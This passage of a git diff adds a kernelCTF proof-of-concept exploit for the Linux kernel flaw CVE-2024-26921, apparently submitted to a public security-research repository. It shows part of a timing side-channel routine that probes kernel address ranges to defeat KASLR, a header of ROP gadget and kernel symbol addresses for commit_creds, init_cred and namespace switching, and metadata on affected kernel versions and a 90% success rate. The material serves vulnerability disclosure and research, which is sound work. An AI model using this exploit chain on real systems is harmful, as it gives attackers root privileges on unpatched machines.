sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + unsigned long i = 0; + for (addr = 0xffff888000000000L; addr < 0xffffc88000000000L; addr += 0x10000000) + { + time = measure(addr); + + if ((i++ % 16) == 0) + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + + printf("Found 0x%lx\n", addr); + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/kernelver_6.6.23.h b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/kernelver_6.6.23.h new file mode 100644 index 000000000..ff97b678e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/kernelver_6.6.23.h @@ -0,0 +1,30 @@ +#define COPY_USER_GENERIC_STRING 0xdeadbeef +#define POP_RSP_RBP_RBX 0xffffffff81136165 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81db96a7 +#define FIND_TASK_BY_VPID 0xffffffff811e49b0 +#define POP_RCX 0xffffffff8102d5bd +#define INIT_CRED 0xffffffff83c72d60 +#define PUSH_RSI_JMP_QWORD_RSI_039 0xffffffff81b02a67 +#define POP_RSI_RDX_RCX 0xffffffff810e827a +#define INIT_NSPROXY 0xffffffff83c72880 +#define SWITCH_TASK_NAMESPACES 0xffffffff811eeda0 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff8155eea8 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810e8279 +#define POP_RSI_RDI 0xffffffff81bfef11 +#define POP_RDX_RDI 0xffffffff81a1641b +#define AUDIT_SYSCALL_EXIT 0xffffffff812b8a30 +#define RETURN_VIA_SYSRET 0xffffffff8260021b +#define MEMCPY 0xffffffff82411ee0 +#define COMMIT_CREDS 0xffffffff811f1100 +#define POP_RSI 0xffffffff819b02cd +#define POP_RSP 0xffffffff81786c10 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810e8271 +#define POP_RDI 0xffffffff811a89cc +#define POP_RDX 0xffffffff81053502 +#define RW_BUFFER 0xffffffff84700000 +#define G1 0xffffffff82185cf9 +#define SET_MEMORY_RW 0xffffffff81150870 +#define MSLEEP 0xffffffff8126d180 +#define SYS_KEXEC_FILE_LOAD 0xffffffff812916e0 +#define RETURN_THUNK 0xffffffff824280d0 +#define MOV_RDI_RAX 0xffffffff8128ee7d diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/tools.tar.gz b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/tools.tar.gz new file mode 120000 index 000000000..e445af983 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/tools.tar.gz @@ -0,0 +1 @@ +../cos-97-16919.450.26/tools.tar.gz \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/metadata.json new file mode 100644 index 000000000..18ac56f18 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/metadata.json @@ -0,0 +1,41 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp157", "exp158" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=18685451fc4e546fc0e718580d32df3c0e5c8272", + "cve": "CVE-2024-26921", + "affected_versions": [ + "4.1 - 5.10.226", + "4.1 - 6.6.25" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN" + ], + "kernel_config": [ + "CONFIG_INET" + ] + } + }, + "exploits": { + "lts-6.6.23": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + }, + "cos-97-16919.450.26": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "90% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/original_exp157.tar.gz b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/original_exp157.tar.gz new file mode 100644 index 000000000..4df87d277 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/original_exp157.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/original_exp158.tar.gz b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/original_exp158.tar.gz new file mode 100644 index 000000000..e4a4c92ba Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/original_exp158.tar.gz differ